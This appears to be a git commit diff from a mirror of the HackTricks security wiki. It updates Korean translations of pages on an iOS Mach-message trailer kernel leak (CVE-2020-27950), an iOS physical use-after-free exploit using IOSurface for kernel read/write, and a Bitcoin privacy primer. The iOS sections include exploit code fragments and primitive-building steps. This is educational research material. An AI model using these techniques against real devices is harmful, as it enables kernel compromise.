mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/blockchain/blockchain-and-crypto-currencies/README.md',
This commit is contained in:
parent
f022071dc2
commit
424ffac264
@ -81,6 +81,7 @@
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
@ -769,7 +770,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -846,7 +847,6 @@
|
||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
|
||||
@ -895,7 +895,6 @@
|
||||
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||
|
||||
# ✍️ TODO
|
||||
|
||||
|
@ -5,9 +5,9 @@
|
||||
|
||||
## 취약점
|
||||
|
||||
You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), but as summary:
|
||||
여기에 [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)가 있지만, 요약하면:
|
||||
|
||||
커널이 받는 모든 Mach message는 **"trailer"**로 끝납니다: 메타데이터(seqno, sender token, audit token, context, access control data, labels...)를 담는 가변 길이 struct입니다. 커널은 메시지 버퍼에 **항상 가능한 최대 크기의 trailer**(MAX_TRAILER_SIZE)를 예약하지만, **일부 필드만 초기화**한 다음, 나중에 **사용자 제어 receive 옵션**에 따라 어떤 trailer 크기를 반환할지 결정합니다.
|
||||
커널이 받는 모든 Mach 메시지는 끝에 **"trailer"**가 붙습니다: 메타데이터(seqno, sender token, audit token, context, access control data, labels...)를 담는 가변 길이 struct입니다. 커널은 메시지 버퍼에 **항상 가능한 가장 큰 trailer** (MAX_TRAILER_SIZE)를 예약하지만, **일부 필드만 초기화**한 뒤 나중에 **사용자 제어 receive 옵션**에 따라 **어떤 trailer 크기를 반환할지 결정**합니다.
|
||||
|
||||
These are the trailer relevant structs:
|
||||
```c
|
||||
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
|
||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||
```
|
||||
그런 다음 trailer 객체가 생성될 때 일부 필드만 초기화되고, 최대 trailer 크기는 항상 예약됩니다:
|
||||
그런 다음, trailer object가 생성될 때 일부 필드만 초기화되며, max trailer size는 항상 예약됩니다:
|
||||
```c
|
||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||||
[...]
|
||||
trailer->msgh_labels.sender = 0;
|
||||
```
|
||||
예를 들어, `mach_msg()`를 사용해 Mach 메시지를 읽으려고 할 때 메시지에 trailer를 추가하기 위해 `ipc_kmsg_add_trailer()` 함수가 호출됩니다. 이 함수 내부에서 trailer 크기가 계산되고 다른 몇몇 trailer 필드들이 채워집니다:
|
||||
예를 들어 `mach_msg()`를 사용해 mach 메시지를 읽으려고 할 때, 메시지에 trailer를 추가하기 위해 `ipc_kmsg_add_trailer()` 함수가 호출됩니다. 이 함수 내부에서 trailer 크기가 계산되고 몇몇 다른 trailer 필드들이 채워집니다:
|
||||
```c
|
||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||
return trailer->msgh_trailer_size;
|
||||
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
|
||||
trailer->msgh_context = context;
|
||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||
```
|
||||
The `option` 파라미터는 사용자 제어이므로 **`if` 검사에 통과하는 값을 전달해야 합니다.**
|
||||
`option` 파라미터는 사용자가 제어하므로, **`if` 검사에 통과하는 값을 전달해야 합니다.**
|
||||
|
||||
이 검사를 통과하려면 유효하며 지원되는 `option`을 전송해야 합니다:
|
||||
이 검사를 통과하려면 유효하고 지원되는 `option`을 전송해야 합니다:
|
||||
```c
|
||||
#define MACH_RCV_TRAILER_NULL 0
|
||||
#define MACH_RCV_TRAILER_SEQNO 1
|
||||
@ -67,9 +67,9 @@ The `option` 파라미터는 사용자 제어이므로 **`if` 검사에 통과
|
||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||
```
|
||||
하지만 `MACH_RCV_TRAILER_MASK`가 단지 비트를 검사하기 때문에, `0`과 `8` 사이의 아무 값이나 전달해 `if` 문 안으로 들어가지 않게 할 수 있습니다.
|
||||
하지만 `MACH_RCV_TRAILER_MASK`가 단순히 비트를 검사하기 때문에, `0`과 `8` 사이의 아무 값이나 전달하면 `if` 문 안으로 들어가지 않습니다.
|
||||
|
||||
그 다음, 코드 상에서 계속 살펴보면 다음을 찾을 수 있습니다:
|
||||
그런 다음, 코드에서 계속 보면:
|
||||
```c
|
||||
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
|
||||
trailer->msgh_ad = 0;
|
||||
@ -94,19 +94,31 @@ return trailer->msgh_trailer_size;
|
||||
```
|
||||
Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
|
||||
|
||||
여기서 `option`이 `MACH_RCV_TRAILER_AV` (7)보다 크거나 같으면 필드 **`msgh_ad`**가 `0`으로 초기화되는 것을 볼 수 있습니다.
|
||||
|
||||
If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.
|
||||
|
||||
살펴보면, **`msgh_ad`**는 이전에 초기화되지 않은 트레일러의 유일한 필드로, 이전에 사용된 메모리에서 유래한 leak을 포함할 수 있었습니다.
|
||||
|
||||
So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.
|
||||
|
||||
따라서 이를 초기화하지 않도록 하는 방법은 `option` 값으로 `5` 또는 `6`을 전달하는 것입니다. 그러면 첫 번째 `if` 검사를 통과하고 **`msgh_ad`**를 초기화하는 `if`에 들어가지 않는데, 이는 값 `5`와 `6`이 어떤 트레일러 타입과도 연관되어 있지 않기 때문입니다.
|
||||
|
||||
### Basic PoC
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), 단순히 무작위 데이터를 leak하는 PoC가 있습니다.
|
||||
|
||||
### Leak Kernel Address PoC
|
||||
|
||||
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), kernel 주소를 leak하는 PoC가 있습니다. 이를 위해 `mach_msg_port_descriptor_t` 구조체들로 가득한 메시지를 보냅니다. userland에서 이 구조체의 `name` 필드는 unsigned int를 담고 있지만, kernel에서는 `name` 필드가 struct `ipc_port` 포인터입니다. 따라서 메시지에 이런 구조체들을 수십 개 전송하면 kernel 내부 메시지에 **add several kernel addresses inside the message**가 되어 그 중 하나를 leak할 수 있게 됩니다.
|
||||
|
||||
Commetns were added for better understanding:
|
||||
|
||||
이해를 돕기 위해 주석을 추가했습니다:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -326,7 +338,7 @@ return 0;
|
||||
```
|
||||
## 참고자료
|
||||
|
||||
- [Synacktiv의 블로그 포스트](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -16,7 +16,6 @@
|
||||
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
|
||||
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
|
||||
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
@ -128,7 +127,7 @@ io_connect_t id = result.surface_id;
|
||||
}
|
||||
}
|
||||
```
|
||||
해제된 물리 페이지 하나에서 **`IOSurface`** 객체를 검색:
|
||||
하나의 해제된 물리 페이지에서 **`IOSurface`** 객체를 검색:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
@ -164,23 +163,23 @@ return 0;
|
||||
```
|
||||
### IOSurface로 커널 읽기/쓰기 달성
|
||||
|
||||
커널 메모리의 IOSurface 객체(사용자 공간에서 접근 가능한 해제된 물리 페이지에 매핑됨)를 제어하게 되면, 이를 사용해 **임의의 커널 읽기 및 쓰기 작업**을 수행할 수 있습니다.
|
||||
커널 메모리의 IOSurface 객체(유저스페이스에서 접근 가능한 해제된 물리 페이지에 매핑된)를 제어하게 되면, 이를 통해 **임의의 커널 읽기 및 쓰기 작업**을 수행할 수 있습니다.
|
||||
|
||||
**Key Fields in IOSurface**
|
||||
**IOSurface의 주요 필드**
|
||||
|
||||
IOSurface 객체에는 중요한 필드가 두 개 있습니다:
|
||||
The IOSurface object has two crucial fields:
|
||||
|
||||
1. **Use Count Pointer**: **32-bit 읽기**를 허용합니다.
|
||||
2. **Indexed Timestamp Pointer**: **64-bit 쓰기**를 허용합니다.
|
||||
|
||||
이들 포인터를 덮어써서 커널 메모리의 임의 주소로 리다이렉트하면 읽기/쓰기 기능이 활성화됩니다.
|
||||
이 포인터들을 덮어쓰면 커널 메모리의 임의 주소를 가리키도록 재지정하여 읽기/쓰기 기능을 확보할 수 있습니다.
|
||||
|
||||
#### 32-Bit 커널 읽기
|
||||
|
||||
읽기를 수행하려면:
|
||||
|
||||
1. **use count pointer**를 대상 주소에서 0x14 바이트 오프셋을 뺀 위치로 덮어씁니다.
|
||||
2. 해당 주소의 값을 읽기 위해 `get_use_count` 메서드를 사용합니다.
|
||||
1. **use count pointer**를 대상 주소에서 0x14-byte 오프셋을 뺀 위치를 가리키도록 덮어씁니다.
|
||||
2. 그 주소에서 값을 읽기 위해 `get_use_count` 메서드를 사용합니다.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
@ -198,12 +197,12 @@ iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-비트 커널 쓰기
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
쓰기 수행하려면:
|
||||
쓰기 작업을 수행하려면:
|
||||
|
||||
1. 대상 주소로 **인덱스된 타임스탬프 포인터**를 덮어쓴다.
|
||||
2. `set_indexed_timestamp` 메서드를 사용하여 64비트 값을 쓴다.
|
||||
1. 대상 주소로 **indexed timestamp pointer**를 덮어쓴다.
|
||||
2. `set_indexed_timestamp` 메서드를 사용해 64비트 값을 쓴다.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
@ -217,13 +216,13 @@ set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### 익스플로잇 흐름 요약
|
||||
#### Exploit 흐름 요약
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: 해제된 페이지가 재사용을 위해 사용 가능해짐.
|
||||
2. **Spray IOSurface Objects**: 커널 메모리에 고유한 "magic value"를 가진 다수의 IOSurface 객체를 할당.
|
||||
3. **Identify Accessible IOSurface**: 자신이 제어하는 해제된 페이지에서 IOSurface를 찾아냄.
|
||||
4. **Abuse Use-After-Free**: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 **kernel read/write**를 수행할 수 있게 함.
|
||||
1. **Trigger Physical Use-After-Free**: 해제된 페이지가 재사용을 위해 이용 가능해집니다.
|
||||
2. **Spray IOSurface Objects**: 커널 메모리에 고유한 "magic value"를 가진 많은 IOSurface 객체를 할당합니다.
|
||||
3. **Identify Accessible IOSurface**: 제어하는 해제된 페이지에서 접근 가능한 IOSurface를 찾습니다.
|
||||
4. **Abuse Use-After-Free**: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 **kernel read/write**를 가능하게 합니다.
|
||||
|
||||
이러한 프리미티브로 익스플로잇은 커널 메모리에 대해 제어된 **32-bit reads** 및 **64-bit writes**를 제공합니다. 추가적인 탈옥 단계는 더 안정적인 읽기/쓰기 프리미티브를 필요로 할 수 있으며, 이는 추가 보호(예: 최신 arm64e 기기의 PPL)를 우회해야 할 수 있습니다.
|
||||
이러한 primitives로 exploit은 제어된 **32-bit reads** 및 **64-bit writes**를 커널 메모리에 제공합니다. 이후의 jailbreak 단계는 더 안정적인 read/write primitives를 필요로 할 수 있으며, 이는 추가 보호 기능(예: 최신 arm64e 장치의 PPL)을 우회해야 할 수 있습니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,176 +1,178 @@
|
||||
# 블록체인 및 암호화폐
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 개념
|
||||
|
||||
- **스마트 계약**은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로, 중개자 없이 계약 실행을 자동화합니다.
|
||||
- **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며, 사용자 친화적인 프론트 엔드와 투명하고 감사 가능한 백 엔드를 특징으로 합니다.
|
||||
- **토큰 및 코인**은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다.
|
||||
- **유틸리티 토큰**은 서비스에 대한 접근을 부여하고, **증권 토큰**은 자산 소유권을 나타냅니다.
|
||||
- **DeFi**는 탈중앙화 금융을 의미하며, 중앙 권한 없이 금융 서비스를 제공합니다.
|
||||
- **DEX**와 **DAO**는 각각 탈중앙화 거래 플랫폼과 탈중앙화 자율 조직을 의미합니다.
|
||||
- **스마트 계약(Smart Contracts)** 는 특정 조건이 충족되면 블록체인 상에서 실행되는 프로그램으로, 중개자 없이 합의 이행을 자동화합니다.
|
||||
- **분산형 애플리케이션(dApps)** 는 스마트 계약을 기반으로 하며, 사용자 친화적인 프런트엔드와 투명하고 감사 가능한 백엔드를 갖춥니다.
|
||||
- **토큰 & 코인** 은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타낸다는 점에서 구분됩니다.
|
||||
- **유틸리티 토큰(Utility Tokens)** 은 서비스 접근 권한을 부여하고, **증권형 토큰(Security Tokens)** 은 자산 소유를 의미합니다.
|
||||
- **DeFi** 는 중앙 권한 없이 금융 서비스를 제공하는 탈중앙화 금융을 의미합니다.
|
||||
- **DEX** 와 **DAOs** 는 각각 분산형 거래소(Decentralized Exchange)와 분산형 자율 조직(Decentralized Autonomous Organization)을 가리킵니다.
|
||||
|
||||
## 합의 메커니즘
|
||||
|
||||
합의 메커니즘은 블록체인에서 안전하고 합의된 거래 검증을 보장합니다:
|
||||
합의 메커니즘은 블록체인에서 거래 검증을 안전하고 합의된 방식으로 보장합니다:
|
||||
|
||||
- **작업 증명 (PoW)**은 거래 검증을 위해 계산 능력에 의존합니다.
|
||||
- **지분 증명 (PoS)**은 검증자가 일정량의 토큰을 보유해야 하며, PoW에 비해 에너지 소비를 줄입니다.
|
||||
- **Proof of Work (PoW)** 는 거래 검증을 위해 계산 능력에 의존합니다.
|
||||
- **Proof of Stake (PoS)** 는 검증자가 일정량의 토큰을 보유하도록 요구하여 PoW에 비해 에너지 소비를 줄입니다.
|
||||
|
||||
## 비트코인 필수 사항
|
||||
## 비트코인 필수 지식
|
||||
|
||||
### 거래
|
||||
|
||||
비트코인 거래는 주소 간 자금을 전송하는 것을 포함합니다. 거래는 디지털 서명을 통해 검증되며, 개인 키의 소유자만이 전송을 시작할 수 있습니다.
|
||||
비트코인 거래는 주소 간 자금 이동을 포함합니다. 거래는 디지털 서명을 통해 검증되어 개인 키 소유자만 전송을 시작할 수 있음을 보장합니다.
|
||||
|
||||
#### 주요 구성 요소:
|
||||
#### 핵심 요소:
|
||||
|
||||
- **다중 서명 거래**는 거래를 승인하기 위해 여러 서명이 필요합니다.
|
||||
- 거래는 **입력**(자금 출처), **출력**(목적지), **수수료**(채굴자에게 지급), **스크립트**(거래 규칙)로 구성됩니다.
|
||||
- **다중 서명 거래(Multisignature Transactions)** 는 거래를 승인하기 위해 여러 서명이 필요합니다.
|
||||
- 거래는 **입력(inputs)**(자금의 출처), **출력(outputs)**(목적지), **수수료(fees)**(채굴자에게 지급), 및 **스크립트(scripts)**(거래 규칙)로 구성됩니다.
|
||||
|
||||
### 라이트닝 네트워크
|
||||
|
||||
비트코인의 확장성을 향상시키기 위해 여러 거래를 채널 내에서 허용하고, 최종 상태만 블록체인에 방송하는 것을 목표로 합니다.
|
||||
라이트닝 네트워크는 채널 내에서 여러 거래를 허용하고 최종 상태만 블록체인에 브로드캐스트하여 비트코인의 확장성을 향상시키는 것을 목표로 합니다.
|
||||
|
||||
## 비트코인 프라이버시 문제
|
||||
|
||||
**공통 입력 소유권** 및 **UTXO 변경 주소 탐지**와 같은 프라이버시 공격은 거래 패턴을 악용합니다. **믹서** 및 **코인조인**과 같은 전략은 사용자 간의 거래 링크를 모호하게 하여 익명성을 향상시킵니다.
|
||||
Common Input Ownership, UTXO Change Address Detection과 같은 프라이버시 공격은 거래 패턴을 악용합니다. Mixers와 CoinJoin 같은 전략은 사용자 간 거래 연결을 난독화하여 익명성을 개선합니다.
|
||||
|
||||
## 비트코인을 익명으로 획득하기
|
||||
## 익명으로 비트코인 획득하기
|
||||
|
||||
현금 거래, 채굴 및 믹서 사용과 같은 방법이 포함됩니다. **코인조인**은 여러 거래를 혼합하여 추적 가능성을 복잡하게 만들고, **페이조인**은 코인조인을 일반 거래로 위장하여 프라이버시를 높입니다.
|
||||
방법으로는 현금 거래, 채굴 및 믹서 사용 등이 있습니다. **CoinJoin** 은 여러 거래를 섞어 추적을 복잡하게 만들고, **PayJoin** 은 CoinJoin을 일반 거래로 위장하여 더 높은 프라이버시를 제공합니다.
|
||||
|
||||
# 비트코인 프라이버시 공격
|
||||
# Bitcoin Privacy Atacks
|
||||
|
||||
# 비트코인 프라이버시 공격 요약
|
||||
|
||||
비트코인 세계에서 거래의 프라이버시와 사용자의 익명성은 종종 우려의 대상입니다. 공격자가 비트코인 프라이버시를 침해할 수 있는 여러 일반적인 방법에 대한 간단한 개요입니다.
|
||||
비트코인 세계에서 거래의 프라이버시와 사용자의 익명성은 자주 우려되는 주제입니다. 다음은 공격자가 비트코인 프라이버시를 침해할 수 있는 몇 가지 일반적인 방법에 대한 간단한 개요입니다.
|
||||
|
||||
## **공통 입력 소유권 가정**
|
||||
## **Common Input Ownership Assumption (공통 입력 소유 가정)**
|
||||
|
||||
복잡성으로 인해 서로 다른 사용자의 입력이 단일 거래에 결합되는 경우는 일반적으로 드뭅니다. 따라서 **같은 거래의 두 입력 주소는 종종 동일한 소유자에게 속한다고 가정됩니다**.
|
||||
서로 다른 사용자의 입력이 단일 거래에서 결합되는 경우는 복잡성 때문에 일반적으로 드뭅니다. 따라서 **같은 거래의 두 입력 주소는 종종 동일한 소유자에게 속한다고 가정됩니다**.
|
||||
|
||||
## **UTXO 변경 주소 탐지**
|
||||
## **UTXO Change Address Detection (UTXO 잔액 주소 탐지)**
|
||||
|
||||
UTXO, 즉 **사용되지 않은 거래 출력**은 거래에서 완전히 소진되어야 합니다. 일부만 다른 주소로 전송되면 나머지는 새로운 변경 주소로 가게 됩니다. 관찰자는 이 새로운 주소가 발신자에게 속한다고 가정하여 프라이버시를 침해할 수 있습니다.
|
||||
UTXO, 즉 미사용 거래 출력(Unspent Transaction Output)은 거래에서 전체가 소비되어야 합니다. 그 중 일부만 다른 주소로 전송될 경우, 나머지 금액은 새로운 잔액 주소(change address)로 돌아갑니다. 관찰자는 이 새 주소가 송금자에게 속한다고 추정할 수 있어 프라이버시가 침해됩니다.
|
||||
|
||||
### 예시
|
||||
|
||||
이를 완화하기 위해 믹싱 서비스나 여러 주소를 사용하는 것이 소유권을 모호하게 하는 데 도움이 될 수 있습니다.
|
||||
이를 완화하기 위해 믹싱 서비스나 여러 주소를 사용하는 것이 소유권을 혼동시키는 데 도움이 됩니다.
|
||||
|
||||
## **소셜 네트워크 및 포럼 노출**
|
||||
|
||||
사용자들은 때때로 자신의 비트코인 주소를 온라인에 공유하여 **주소와 소유자를 쉽게 연결할 수 있게 합니다**.
|
||||
사용자들이 종종 자신의 비트코인 주소를 온라인에 공유하여 **주소와 소유자를 연결하기 쉽도록** 만듭니다.
|
||||
|
||||
## **거래 그래프 분석**
|
||||
|
||||
거래는 그래프로 시각화될 수 있으며, 자금 흐름에 따라 사용자 간의 잠재적 연결을 드러냅니다.
|
||||
거래는 그래프로 시각화할 수 있으며, 자금 흐름을 기반으로 사용자 간의 잠재적 연결을 드러낼 수 있습니다.
|
||||
|
||||
## **불필요한 입력 휴리스틱 (최적 변경 휴리스틱)**
|
||||
## **불필요한 입력 휴리스틱(Optimal Change Heuristic)**
|
||||
|
||||
이 휴리스틱은 여러 입력과 출력을 가진 거래를 분석하여 어떤 출력이 발신자에게 돌아가는 변경인지 추측하는 데 기반합니다.
|
||||
이 휴리스틱은 여러 입력과 출력을 가진 거래를 분석하여 어떤 출력이 송금자에게 돌아가는 잔액(change)인지 추측하는 데 기반합니다.
|
||||
|
||||
### 예시
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
입력이 더 추가되어 잔돈 출력이 어느 단일 입력보다 커지면, 그 휴리스틱을 혼란스럽게 만들 수 있다.
|
||||
|
||||
## **강제 주소 재사용**
|
||||
|
||||
공격자는 이전에 사용된 주소로 소량의 비트코인을 보내, 수신자가 향후 거래에서 이를 다른 입력과 결합하기를 희망하여 주소를 연결할 수 있습니다.
|
||||
공격자는 이전에 사용된 주소로 소량을 전송해, 수신자가 이후 거래에서 이를 다른 입력과 결합하도록 유도함으로써 주소들을 서로 연결하려 할 수 있다.
|
||||
|
||||
### 올바른 지갑 동작
|
||||
|
||||
지갑은 이미 사용된 빈 주소에서 받은 코인을 사용하지 않아야 하며, 이를 통해 개인 정보 유출을 방지해야 합니다.
|
||||
지갑은 이미 사용된 빈 주소로 수신된 코인을 사용하지 않아야 하며, 이로써 개인정보 leak을 방지해야 한다.
|
||||
|
||||
## **기타 블록체인 분석 기술**
|
||||
## **기타 블록체인 분석 기법**
|
||||
|
||||
- **정확한 지불 금액:** 잔돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 거래일 가능성이 높습니다.
|
||||
- **정수:** 거래에서 정수는 지불을 나타내며, 비정수 출력은 잔돈일 가능성이 높습니다.
|
||||
- **지갑 지문 인식:** 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있어 분석가가 사용된 소프트웨어와 잠재적으로 잔돈 주소를 식별할 수 있습니다.
|
||||
- **금액 및 시간 상관관계:** 거래 시간이나 금액을 공개하면 거래가 추적 가능해질 수 있습니다.
|
||||
- **정확한 결제 금액:** 잔돈이 없는 거래는 동일 사용자가 소유한 두 주소 간의 거래일 가능성이 높다.
|
||||
- **반올림된 숫자:** 거래의 반올림된 금액은 결제임을 시사하며, 반올림되지 않은 출력이 잔돈일 가능성이 높다.
|
||||
- **지갑 지문화:** 지갑마다 고유한 거래 생성 패턴이 있어 분석가가 사용된 소프트웨어를 식별하고 잠재적으로 잔돈 주소를 알아낼 수 있다.
|
||||
- **금액 및 시간 상관관계:** 거래 시간이나 금액을 공개하면 거래를 추적 가능하게 만들 수 있다.
|
||||
|
||||
## **트래픽 분석**
|
||||
|
||||
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소에 연결할 수 있어 사용자 개인 정보가 침해될 수 있습니다. 이는 특히 한 기관이 많은 비트코인 노드를 운영하는 경우에 해당하며, 거래 모니터링 능력이 향상됩니다.
|
||||
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소와 연결할 수 있어 사용자 개인정보를 침해할 수 있다. 특히 어떤 단체가 다수의 Bitcoin 노드를 운영하면 거래를 모니터링할 수 있는 능력이 향상된다.
|
||||
|
||||
## 더 알아보기
|
||||
## 추가 자료
|
||||
|
||||
개인 정보 공격 및 방어에 대한 포괄적인 목록은 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)를 방문하세요.
|
||||
개인정보 공격 및 방어에 대한 포괄적 목록은 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)을 참조하라.
|
||||
|
||||
# 익명 비트코인 거래
|
||||
|
||||
## 익명으로 비트코인을 얻는 방법
|
||||
## 비트코인을 익명으로 얻는 방법
|
||||
|
||||
- **현금 거래**: 현금을 통해 비트코인을 획득합니다.
|
||||
- **현금 대안**: 기프트 카드를 구매하고 이를 온라인에서 비트코인으로 교환합니다.
|
||||
- **채굴**: 비트코인을 얻는 가장 개인적인 방법은 채굴이며, 특히 혼자서 할 때 그렇습니다. 채굴 풀은 채굴자의 IP 주소를 알 수 있기 때문입니다. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **도난**: 이론적으로 비트코인을 훔치는 것도 익명으로 획득하는 방법이 될 수 있지만, 이는 불법이며 권장되지 않습니다.
|
||||
- **현금 거래**: 현금으로 비트코인을 획득한다.
|
||||
- **현금 대안**: 기프트 카드를 구매해 온라인에서 비트코인으로 교환한다.
|
||||
- **채굴**: 비트코인을 얻는 가장 프라이빗한 방법은 채굴이며, 특히 단독 채굴일 때 그렇다. 채굴 풀은 채굴자의 IP 주소를 알 수 있다. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **도둑질**: 이론적으로는 비트코인을 훔치는 것이 익명으로 획득하는 방법이 될 수 있지만 불법이며 권장되지 않는다.
|
||||
|
||||
## 믹싱 서비스
|
||||
|
||||
